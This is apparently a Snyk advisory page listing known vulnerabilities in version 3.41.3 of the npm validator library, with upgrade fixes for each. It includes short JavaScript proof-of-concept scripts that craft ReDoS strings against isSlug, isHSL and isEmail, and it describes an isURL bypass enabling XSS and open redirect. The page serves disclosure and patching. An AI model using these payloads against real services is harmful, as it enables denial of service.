validator@3.41.3 vulnerabilities

String validation and sanitization

  • latest version

    13.15.20

  • latest non vulnerable version

  • first published

    14 years ago

  • latest version published

    14 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the validator package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Improper Validation of Specified Type of Input

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

    How to fix Improper Validation of Specified Type of Input?

    Upgrade validator to version 13.15.20 or higher.

    <13.15.20
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

    PoC

    var validator = require("validator")
    function build_attack(n) {
        var ret = "111"
        for (var i = 0; i < n; i++) {
            ret += "a"
        }
    
        return ret+"_";
    }
    for(var i = 1; i <= 50000; i++) {
        if (i % 10000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
           validator.isSlug(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
       }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

    PoC

    var validator = require("validator")
    function build_attack(n) {
        var ret = "hsla(0"
        for (var i = 0; i < n; i++) {
            ret += " "
        }
    
        return ret+"◎";
    }
    for(var i = 1; i <= 50000; i++) {
        if (i % 1000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
           validator.isHSL(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
       }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

    PoC

    var validator = require("validator")
    function build_attack(n) {
        var ret = ""
        for (var i = 0; i < n; i++) {
            ret += "<"
        }
    
        return ret+"";
    }
    for(var i = 1; i <= 50000; i++) {
        if (i % 10000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
            validator.isEmail(attack_str,{ allow_display_name: true })
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
       }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Buffer Overflow

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Buffer Overflow. It used a regular expression (/^(?:[A-Z0-9+\/]{4})*(?:[A-Z0-9+\/]{2}==|[A-Z0-9+\/]{3}=|[A-Z0-9+\/]{4})$/i) in order to validate Base64 strings.

    How to fix Buffer Overflow?

    Upgrade validator to version 5.0.0 or higher.

    <5.0.0